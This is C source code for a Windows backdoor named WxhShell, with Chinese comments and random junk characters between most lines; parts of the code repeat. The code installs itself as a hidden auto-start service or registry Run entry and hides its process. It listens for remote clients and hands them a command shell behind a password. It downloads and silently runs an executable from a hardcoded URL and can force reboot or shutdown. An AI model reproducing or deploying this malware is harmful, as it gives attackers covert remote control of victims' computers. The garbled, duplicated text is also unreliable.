g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ev1 W6B-a g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g-c ;}qz NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v3d&*I mrIh0B:` if (!NtQueryInformationProcess) return 0; PO:"B6 @Jm7^;9/ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7>XDNI if(!hProcess) return 0; j>Iaq" OU5*9_7. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m7EcnQf WQyLf;!Lz CloseHandle(hProcess); 9O{b]=>wq eW5SFY. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0Wa}<]:^ if(hProcess==NULL) return 0; 8UC xnf# 8
C [/dH HMODULE hMod; KL$bqgc(p3 char procName[255]; 3rLTF\ unsigned long cbNeeded; n
-( ;%tF58& if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (=D&A<YX z[`@}}Q CloseHandle(hProcess); w 4[{2 F}Vr:~ if(strstr(procName,"services")) return 1; // 以服务启动 ]smkTo/ AJ#Nenmj return 0; // 注册表启动 X7k.zlH7T } gbVdOm >pUtwIP // 主模块 Y0eE-5F, int StartWxhshell(LPSTR lpCmdLine) lHgs;>U$ { )K &( SOCKET wsl; ;WR,eI.. BOOL val=TRUE; N F)~W# int port=0; YPHS1E? struct sockaddr_in door; l;o1 d-n] 4apL4E"r if(wscfg.ws_autoins) Install(); /Q,mJ.CnSR (5]}5W* port=atoi(lpCmdLine); )"Ztlhs`# lNSLs"x^ if(port<=0) port=wscfg.ws_port; U&O:
_>~ *6q5S4 r WSADATA data; ]U"94S U:) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lg^Z*&( $Xq!L if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #%DE; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0_ 88V door.sin_family = AF_INET; c38D}k^): door.sin_addr.s_addr = inet_addr("127.0.0.1"); 21"1NJzP door.sin_port = htons(port); /Rl6g9} | Bi! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jv^h\~*jH closesocket(wsl); ~3<>
3p return 1; KCs[/] } 4:FK;~wM&x I_]^ .o1q if(listen(wsl,2) == INVALID_SOCKET) { B
{>7-0 closesocket(wsl); {.XEL return 1; wb0L.'jyR) } 4r45i: Wxhshell(wsl); 3W
N@J6? WSACleanup(); a|X a3E CB^U6ZS return 0; LGn:c;
$ ` "" } 4%4 }5UYN zolt$p // 以NT服务方式启动 w(L4A0K[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^~etm { m^zUmrj[ DWORD status = 0; y+NN< EY@ DWORD specificError = 0xfffffff; y gz6C tS6qWtE
serviceStatus.dwServiceType = SERVICE_WIN32; wfH^<jY)E serviceStatus.dwCurrentState = SERVICE_START_PENDING; [1S|dc>.O% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vh4X%b$TV serviceStatus.dwWin32ExitCode = 0; Bx<
<~[Ws} serviceStatus.dwServiceSpecificExitCode = 0; GB=X5<; serviceStatus.dwCheckPoint = 0; p;>ec:z3M serviceStatus.dwWaitHint = 0; ZpQ)IHA. ) AvN\sC hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eceP0x if (hServiceStatusHandle==0) return; {ttysQ- MDn ua status = GetLastError(); "~|6tQLc if (status!=NO_ERROR) GBPo8L"9 { + R~'7*EI serviceStatus.dwCurrentState = SERVICE_STOPPED; `r9!zffyS serviceStatus.dwCheckPoint = 0; K &N serviceStatus.dwWaitHint = 0; ,?^ p(w serviceStatus.dwWin32ExitCode = status; ]>5/PD,wWy serviceStatus.dwServiceSpecificExitCode = specificError; a.k.n< SetServiceStatus(hServiceStatusHandle, &serviceStatus); M /"I2m
return; T4Pgbop } cK( C&NK zHM(!\8K serviceStatus.dwCurrentState = SERVICE_RUNNING; Pd_U7&w,5 serviceStatus.dwCheckPoint = 0; $Nhs1st*8 serviceStatus.dwWaitHint = 0; 4O^xY
6m if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;,%fE2c } V_ .5b&@ | ATvS2 // 处理NT服务事件,比如:启动、停止 ia!y!_L\' VOID WINAPI NTServiceHandler(DWORD fdwControl) ;U+3w~ { 52Z2]T
c, switch(fdwControl) M P Y[X[ {
iu=7O case SERVICE_CONTROL_STOP: )q8p k2 serviceStatus.dwWin32ExitCode = 0; rZ}:Z'` serviceStatus.dwCurrentState = SERVICE_STOPPED; #A JDWelD serviceStatus.dwCheckPoint = 0; YYBDRR" serviceStatus.dwWaitHint = 0; NJWA3zz
{ z]_wjYn Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); yEqps3% } Y!w`YYKP return; vc;$-v$& case SERVICE_CONTROL_PAUSE: R'as0 u\ serviceStatus.dwCurrentState = SERVICE_PAUSED; |4;Fd9q^m break; +V ;l6D case SERVICE_CONTROL_CONTINUE: hF~n)oQ serviceStatus.dwCurrentState = SERVICE_RUNNING; 2*;~S44 break; +>6iYUa case SERVICE_CONTROL_INTERROGATE: d;Ym=YHJtn break; 5H<m$K4z }; \kL3.W_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?jv/TBZX4 } NX*Q F+ c <B/V0] // 标准应用程序主函数 _7Ju int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) itt3.:y { /=nJRC3. vxBgGl // 获取操作系统版本 y4?0j: OsIsNt=GetOsVer(); r=
`Jn6@ GetModuleFileName(NULL,ExeFile,MAX_PATH); l` lk-nb =
SMXDaH // 从命令行安装 ]nn98y+ if(strpbrk(lpCmdLine,"iI")) Install(); RLjc&WhzXu $Vg>I>i // 下载执行文件 {L{o]Ii?g if(wscfg.ws_downexe) { UmP/h@8 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oq
Xg WinExec(wscfg.ws_filenam,SW_HIDE); {BN#h[#B{ } :%=Xm ,q`\\d if(!OsIsNt) { #CTE-W"|HE // 如果时win9x,隐藏进程并且设置为注册表启动 ;WQve_\ HideProc(); T4Uev*A StartWxhshell(lpCmdLine); 5{X<y#vAC0 } oWT3apGO else R`qFg/S if(StartFromService()) reu*53r] // 以服务方式启动 A:%`wX} StartServiceCtrlDispatcher(DispatchTable); i>`%TW:g else 3qC}0CP* // 普通方式启动 W:2( .? StartWxhshell(lpCmdLine); ~,Zc% s~| q6luUx,@m return 0; GR_-9}jQP } j_?FmX
_ m=:9+z ?dg[:1R} m+[Ux{$ =========================================== 194)QeoFw F@KGj| S9y} 'n3uu1C 6<QQ@5_ JX;G<lev " sY&IquK^ z>Y-fN`, #include <stdio.h> *i%.;Z" #include <string.h> zwjgE6 #include <windows.h> A?P_DA #include <winsock2.h> AQvudx)@" #include <winsvc.h> pz*3N #include <urlmon.h> FcU SE 14yv$, #pragma comment (lib, "Ws2_32.lib") \r+
a GB #pragma comment (lib, "urlmon.lib") ea
'D td }&J q}j #define MAX_USER 100 // 最大客户端连接数 :DNY7TvZ #define BUF_SOCK 200 // sock buffer 1>h]{%I #define KEY_BUFF 255 // 输入 buffer @qAS*3j |)v,2 #define REBOOT 0 // 重启 _]H&,</ #define SHUTDOWN 1 // 关机 YU'E@t5 e*NnVys #define DEF_PORT 5000 // 监听端口 H<,gU`&R {JMVV_}n #define REG_LEN 16 // 注册表键长度 on`3&0,. #define SVC_LEN 80 // NT服务名长度 )3EY; Kn1a>fLaJ_ // 从dll定义API /y}xX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '5$b-x6 F typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yc?*dUV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^<2p~h0
\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NC(~l .aQ \jA // wxhshell配置信息 M .mfw#* struct WSCFG { [7Oe3= int ws_port; // 监听端口 s2'h char ws_passstr[REG_LEN]; // 口令 zK@@p+n_#. int ws_autoins; // 安装标记, 1=yes 0=no yY q,*<G char ws_regname[REG_LEN]; // 注册表键名 U>N1Od4vTO char ws_svcname[REG_LEN]; // 服务名 VMWf>ZU char ws_svcdisp[SVC_LEN]; // 服务显示名 $ddCTS^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 S<Xf>-8w char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +CNv l int ws_downexe; // 下载执行标记, 1=yes 0=no wf<M)Rs| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <RL] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W'M*nR|xo cbTm'}R(G }; N~'c_l 6=Otq=WH // default Wxhshell configuration sQZhXaMa $ struct WSCFG wscfg={DEF_PORT, 4o[{>gW "xuhuanlingzhe", c]!V'#U 1, )Pv%#P-< "Wxhshell", EADqC> "Wxhshell", uwGc@xOgg, "WxhShell Service", VI*$em O0 "Wrsky Windows CmdShell Service",
Z *x'+X "Please Input Your Password: ", yJIscwF 1, {+>-7
9b "http://www.wrsky.com/wxhshell.exe", 5v*\Zr5ha "Wxhshell.exe" Jln:`!#fDf }; 5Gm_\kd ^U/O!GK // 消息定义模块 K{+2G&i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FGzwhgy char *msg_ws_prompt="\n\r? for help\n\r#>"; 4 #Jg9o char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YN5rml'- char *msg_ws_ext="\n\rExit."; x]j W<A char *msg_ws_end="\n\rQuit."; -XG@'P_ char *msg_ws_boot="\n\rReboot..."; VUuE T char *msg_ws_poff="\n\rShutdown..."; v`T
c}c ' char *msg_ws_down="\n\rSave to "; iWR)ke -mh3DhJ, char *msg_ws_err="\n\rErr!"; #AY&BWS$ char *msg_ws_ok="\n\rOK!"; RxQ * \Vk:93OH21 char ExeFile[MAX_PATH]; UPGtj"2v- int nUser = 0; |DwZ{(R"W HANDLE handles[MAX_USER]; 6!bsM"F int OsIsNt; ?e?!3Bx;EM gRzxLf`K SERVICE_STATUS serviceStatus; 3XNCAb2 SERVICE_STATUS_HANDLE hServiceStatusHandle; 8{ I|$*nB f6p/5]=J26 // 函数声明 s>c=c-SP. int Install(void); ~}Pfu int Uninstall(void); 8 zb/xP> int DownloadFile(char *sURL, SOCKET wsh); NHE18_v5 int Boot(int flag); "J1
4C9u
void HideProc(void); B)UZ`?>c int GetOsVer(void); J[kTlHMD int Wxhshell(SOCKET wsl); 2~2 O V void TalkWithClient(void *cs); 8FhdN int CmdShell(SOCKET sock); w!XD/jN int StartFromService(void); 5lum $5 int StartWxhshell(LPSTR lpCmdLine); Uw:"n]G]D? HVAYPerH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T> p&$]OG VOID WINAPI NTServiceHandler( DWORD fdwControl ); z(~_AN M4, %l%HHT // 数据结构和表定义 H,NF;QPPC SERVICE_TABLE_ENTRY DispatchTable[] = rZpXPI { jb)ZLA;L_c {wscfg.ws_svcname, NTServiceMain}, !`r$"}g {NULL, NULL} phz&zlD }; &e3.:[~_? 7[wPn`v2 // 自我安装 y_[vr:s5pG int Install(void) +H2Qk4XFB {
AOx[ char svExeFile[MAX_PATH]; 6MI8zRX HKEY key; fB,_9K5i strcpy(svExeFile,ExeFile); K<J9~ 6H|S;K+ // 如果是win9x系统,修改注册表设为自启动 L:x-%m%w if(!OsIsNt) { Ir]\|t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p b,. r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8;X-)&R RegCloseKey(key); FgO)DQm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M^I(OuRMeI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aQ~s`^D RegCloseKey(key); %XTI-B/K return 0; XfmwVjy } DTs;{c } 1:wQ.T } -$@h1Y else { .
]M"#
\ tg/H2p^Y // 如果是NT以上系统,安装为系统服务 O
H7FkR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ctV,Q3'Z if (schSCManager!=0) I2DpRMy { H[|~/0?K SC_HANDLE schService = CreateService v8DC21pb ( Wez5N schSCManager, J^/p( wscfg.ws_svcname, PRT +mT wscfg.ws_svcdisp, YoE3<[KD( SERVICE_ALL_ACCESS, a: K[ y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "ITIhnE SERVICE_AUTO_START, "h ^Z SERVICE_ERROR_NORMAL, 4/)k)gLI svExeFile, FgI3 NULL, IM+o.@f- NULL, y3ikWnx NULL, O1kl70,`R NULL, !VK|u8i NULL c"xK`%e ); |D.ND%K& if (schService!=0) c:g'.'/* { u-C)v*#L CloseServiceHandle(schService); {y;n:^ CloseServiceHandle(schSCManager); Xry47a
) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .[ mRM strcat(svExeFile,wscfg.ws_svcname); [SW_C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =rK+eG#, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uwBiW RegCloseKey(key); 3k?X-|O8AZ return 0; Q5_o/wk } FCn_^l)EA } K4);HJ|= CloseServiceHandle(schSCManager); [fIg{Q } yiI1x*^ } <^uBoKB/f ei{eTp4HpV return 1; VD\=`r)nT } cs'{5!i] cFWc<55aX6 // 自我卸载 a@*\o+Su int Uninstall(void) "g#i'"qnW { u~-8d;+?y HKEY key; :a)u&g@G NgCvVWto if(!OsIsNt) { &!
?eL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *WT`o> RegDeleteValue(key,wscfg.ws_regname); fd2T=fz- RegCloseKey(key); = 9]~yt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {.\TtE RegDeleteValue(key,wscfg.ws_regname); !0cD$^7 RegCloseKey(key); m9Hit8f@Q return 0; ia 73?*mXT } ?3xzd P } t<viX's } xF44M]i else { #N cK
X Z)aUt
Srf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^`>/.gL if (schSCManager!=0) k)Qtfj}uij { ^ovR7+V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \K!VNB>h if (schService!=0) Z/;aT -N { bbyg8;/ if(DeleteService(schService)!=0) { ^]-6u:J! CloseServiceHandle(schService); /~f'}]W CloseServiceHandle(schSCManager); HoL
Et8Q return 0; %- 0t?/> } 7x4PaX( CloseServiceHandle(schService); >&5DsV.B } #?9;uy<j.q CloseServiceHandle(schSCManager); <HVt
V9R } l2P=R)@{ } `lt"[K< .xWC{}7[ return 1; n#OB%@]<V } <<R*2b [mGLcg6Fw // 从指定url下载文件 ;x@~A^<el int DownloadFile(char *sURL, SOCKET wsh) [ ~&/s:Vvo { exUu7&*: HRESULT hr;
O+Y6N char seps[]= "/"; b?QoS|<e? char *token; d,n 'n char *file; ?'{SX9 char myURL[MAX_PATH]; sI^Xb@'09$ char myFILE[MAX_PATH]; "mvt>X OA"q[s strcpy(myURL,sURL); &AbNWtCV+G token=strtok(myURL,seps); W+ko q*P while(token!=NULL) oHn
Ky[1 { l#Y,R 0 file=token; ~gZLY ls token=strtok(NULL,seps); FSW_<% } Ks`J([(W& iVq'r4S GetCurrentDirectory(MAX_PATH,myFILE); .MoU1n{Yc strcat(myFILE, "\\"); XG{zlOD+ strcat(myFILE, file); {go;C} send(wsh,myFILE,strlen(myFILE),0); iN8zo:&Z send(wsh,"...",3,0); ofw3S|F6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "8jf81V* if(hr==S_OK) CSq4x5!_7> return 0; B; h"lv else
qwgPk9l return 1; =QiI :|eRA zFff`]^` } c>:wd@w T{ XS")Vw // 系统电源模块 EGU
0)< int Boot(int flag) "2$fi{9 { 94.DHZqh HANDLE hToken; BdblLUGK# TOKEN_PRIVILEGES tkp; -Xm'dwm iYm-tsER; if(OsIsNt) { >T3- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3z9d!I^>k LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -g Sa_8R
tkp.PrivilegeCount = 1; /quc}"__ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]uJ"?k= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e9 5Lo+:f if(flag==REBOOT) { ?u=Fj_N_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `FDiX7M return 0; Tc &z: } A,hJIe else { j2.|ln"! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JZ*/,|1}EC return 0; sRL`dEl4l } A _
N;
} ?;+1)> { else { +LZLy9iKt if(flag==REBOOT) { >#~& -3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yi+wC}
return 0; (\hx` Yh=> } ex9g?*Q else { =9["+;\e& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xH(lm2kvT return 0; ukfQe }I } Cc' 37~6~P } mD0f<gJ1 7>Ouqxh21 return 1; A8fOQ } aa?b`[Xa x?p1
HUK // win9x进程隐藏模块 K>r,(zgVc void HideProc(void) Ng>5?F^v {
bv9i*] otl0JHt*+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LX7FaW if ( hKernel != NULL ) |\<`Ib4j { X!Mx5fg pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J^nBdofP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DV+xg3\(>1 FreeLibrary(hKernel); zyc"]IzOU } m!4ndO;0vh @+M
/& return; dTC7Fm } EXwo,?I `H_ 3Uc // 获取操作系统版本 5k3n\sqZA int GetOsVer(void) +0%w ;'9z { }~jlj OSVERSIONINFO winfo; ,p@y]
cr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ./k/KSR GetVersionEx(&winfo); pb?c$n$u* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) axRV:w;E< return 1; ;%5N%0, else _AYK435>N return 0; V>%rv'G8 } 5\sd3<:+ /y#f3r+*2 // 客户端句柄模块 Gg3,:A_ w int Wxhshell(SOCKET wsl) SSg8}m5)Q { N/'b$m5=
S SOCKET wsh; } FlT%>Gw struct sockaddr_in client; dulI&_x DWORD myID; eRstD>r Uq,^Wy while(nUser<MAX_USER) +I:Unp { N1S{suic int nSize=sizeof(client); %2/EaaR wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &yTqZ*Yuk if(wsh==INVALID_SOCKET) return 1; <8i//HOE ,GIyq) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #7$
H if(handles[nUser]==0) B6As,)RjD: closesocket(wsh); R)(T^V`{ else IH&|Tcf\ nUser++; nH'e?>x~e } F>6|3bOR WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,RI Gc US [{,T.;'<j return 0; GPv1fearl } 9r<J"%*Q vHc%z$-d // 关闭 socket =sU<S,a* void CloseIt(SOCKET wsh) TG?brgW { Jk11fn;\> closesocket(wsh); .x.]`b( nUser--; rjAn@!|:+ ExitThread(0); l
-m fFN } \gGW8Q; 9Cp-qA%t // 客户端请求句柄 o]_dJB void TalkWithClient(void *cs) ?V.cOR`6 { ]t,BMu=% `pS9_NYZ} SOCKET wsh=(SOCKET)cs; |\t-g"~sN char pwd[SVC_LEN]; hJ? O],4J char cmd[KEY_BUFF]; u8g~ char chr[1]; "ycJ:Xv49 int i,j; }W8;=$jr V>LwqS~` while (nUser < MAX_USER) { RnE4<Cy jo@6?(
*4 if(wscfg.ws_passstr) { @)M9IOR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EU;9*W< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,WYPU //ZeroMemory(pwd,KEY_BUFF); 70nqD>M4 i=0; ,HV(l+k {| while(i<SVC_LEN) { e}7lBLK]* RJ&RTo // 设置超时 EGS)b fd_set FdRead; vWv" struct timeval TimeOut; xml7Uarc FD_ZERO(&FdRead); ,V m
< rK FD_SET(wsh,&FdRead); hEH?[>9 TimeOut.tv_sec=8; UHkMn TimeOut.tv_usec=0; UnV.~ u~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >Q;l(fdj if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W,n!3:7s _8J.fT$${ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TDjm2R~9FS pwd=chr[0]; HM1Fz\Sf if(chr[0]==0xd || chr[0]==0xa) { j2[+ztG pwd=0; m?}6)\ob break; o#Dk&
cH } "Gzz4D i++; + GN(Ug'R } s^9Voi.y Gj?t_Zln // 如果是非法用户,关闭 socket BwpqNQN if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cwlRQzQ( } xm~`7~nFR 4E+e}\r:6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4k1xy## send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lfgq=8d .2t4tb(SUw while(1) { lrE5^;/s1 ET*SB ZeroMemory(cmd,KEY_BUFF); }R2u@%n{ 4F:\-O // 自动支持客户端 telnet标准 G e@{_ j=0; Dml;#'IF3 while(j<KEY_BUFF) { ^z*t%<@[Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VCkq"f7cw cmd[j]=chr[0]; u&vf+6=9Dd if(chr[0]==0xa || chr[0]==0xd) { fTec cmd[j]=0;
8dA~\a break; eo?bL$A[s } *?vCC+c j++; ^{`exCwMx } T'9'G
M 5C]x!>kX // 下载文件 ? OM!+O if(strstr(cmd,"http://")) { ADzhNfS send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wn2NMXK if(DownloadFile(cmd,wsh)) V}CG:9; send(wsh,msg_ws_err,strlen(msg_ws_err),0); U7F!Z(
9 else /,yd+wcW# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \}b%E'+_T } U8?mc else { ^ZcGY+/~ tyFzSrfc switch(cmd[0]) { Lqa4Vi k4J+J.| // 帮助 6bC3O4Rw case '?': { F$]Pk|, send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S,UDezxg break; oMa6(3T?E } kDxFloK // 安装 V)25$aKW7 case 'i': { :"c*s4 if(Install()) PJH& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z FL~;_r else :$c
| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y<Ot)fa$ break; %h!B^{0 } q/,O\, // 卸载 :vbW case 'r': { kuP(r if(Uninstall()) kxv1Hn"`{E send(wsh,msg_ws_err,strlen(msg_ws_err),0); {`@G+JV~Jw else \4fQMG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [4f{w%~^ break; &^jXEz; } > ~O.@| // 显示 wxhshell 所在路径 NgPk&niM case 'p': { gPPkT" char svExeFile[MAX_PATH]; zO6oT1I strcpy(svExeFile,"\n\r"); lThB2/tV\ strcat(svExeFile,ExeFile); 3Y$GsN4ln send(wsh,svExeFile,strlen(svExeFile),0); D&y7-/ break; ;2QP7PrSY } 3bI9Zt#J%& // 重启 +ZP7{% case 'b': { Mo|2}nf send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !4+<<(B=E if(Boot(REBOOT)) m8[j #=h send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eu3E-K@y else { 9\(|
D# closesocket(wsh); *vMn$,^0h9 ExitThread(0); ;O,jUiQ } J{G?-+` break; f$QNg0v } {'H(g[k // 关机 jL}v9$ case 'd': { aN3;`~{9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E]r?{t`] if(Boot(SHUTDOWN)) GQ
;;bcj& send(wsh,msg_ws_err,strlen(msg_ws_err),0); _yR^*}xJb else { \i&<s; closesocket(wsh); a 1*p*dM# ExitThread(0); f|(M.U- } Iq.*8Oc break; \~ wMfP8 } LDa1X2N // 获取shell >yDZw!C case 's': { TA~{1_l CmdShell(wsh); ,/unhfs1q closesocket(wsh); k9F=8q ExitThread(0); EoDA]6?Lj break; ?aMOZn? } ;dhQN}7 // 退出 Wc
'H case 'x': { cB&:z)i4 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #`s"WnP9'! CloseIt(wsh); Z3!`J& break; 4B][S'f } akQ7K // 离开 jc9y<{~x/ case 'q': { =vhm} send(wsh,msg_ws_end,strlen(msg_ws_end),0); @KAI4LP closesocket(wsh); Z?z.?ar WSACleanup(); :BTq!>s exit(1); {(}By/_ break; ml$o5&sN } ?bu>r=oIO] } Wm5dk9&x } HpnWoDM Y6d@h? ht // 提示信息 fikkY= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @=kSo
-SX } u<&m]]* } ReeH@.74 CJI~_3+K return; po7q mLq } Q NVa?'0"Y 3f;>" P} // shell模块句柄 $,'*f?d int CmdShell(SOCKET sock) POR\e|hRT] { TuqH*{NNy9 STARTUPINFO si; 0qT%!ku& ZeroMemory(&si,sizeof(si)); wec)Ctj+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z EO WO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2GStN74X r PROCESS_INFORMATION ProcessInfo; 4xJQ!>6 char cmdline[]="cmd"; >-{Hyx CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^zgo#J5O return 0; 7J&4akT{9 } BFW&2 ;6hOx(>`= // 自身启动模式 >)Tqt!? int StartFromService(void) 4nz 35BLr { y18Y:)DkL typedef struct C"]^Q)aJN { P
L+sR3bR DWORD ExitStatus; lB[kbJ DWORD PebBaseAddress; ^y4Z+Gu[ DWORD AffinityMask; 9Lfv^V0 DWORD BasePriority; :P=(k2 ULONG UniqueProcessId; G9@0@2aY8 ULONG InheritedFromUniqueProcessId; pFz`}?c0 } PROCESS_BASIC_INFORMATION; c_l"I9M#r eKqk= ( PROCNTQSIP NtQueryInformationProcess; 7})[lL`\s _t}WsEQ+P static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5QO9Q]I#_\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9@)O_@= ;P&OX5~V HANDLE hProcess; {T ~#?v( PROCESS_BASIC_INFORMATION pbi; 7 x?<*T 9k[9P;"F: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "8zDbdK if(NULL == hInst ) return 0; ?#Q #u|~ ib791 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wo5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tIS<U(N; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ef13Q]9| ',5ky{ if (!NtQueryInformationProcess) return 0; eO[b1]WLP 57'4ljvYi hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =rX>1 if(!hProcess) return 0; t#eTV@- 6Sn .I1Wy if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G'aDb/ Tc3yS(aq CloseHandle(hProcess); ;@E$}*3[>V {3vNPQJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4#hSJ(~7S if(hProcess==NULL) return 0; pIKPXqA r^ ZEImjc HMODULE hMod; Y% 5eZ=z char procName[255]; \mlqO[ S unsigned long cbNeeded; OprkR YQA,f# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PXNh&N |*tp16+6 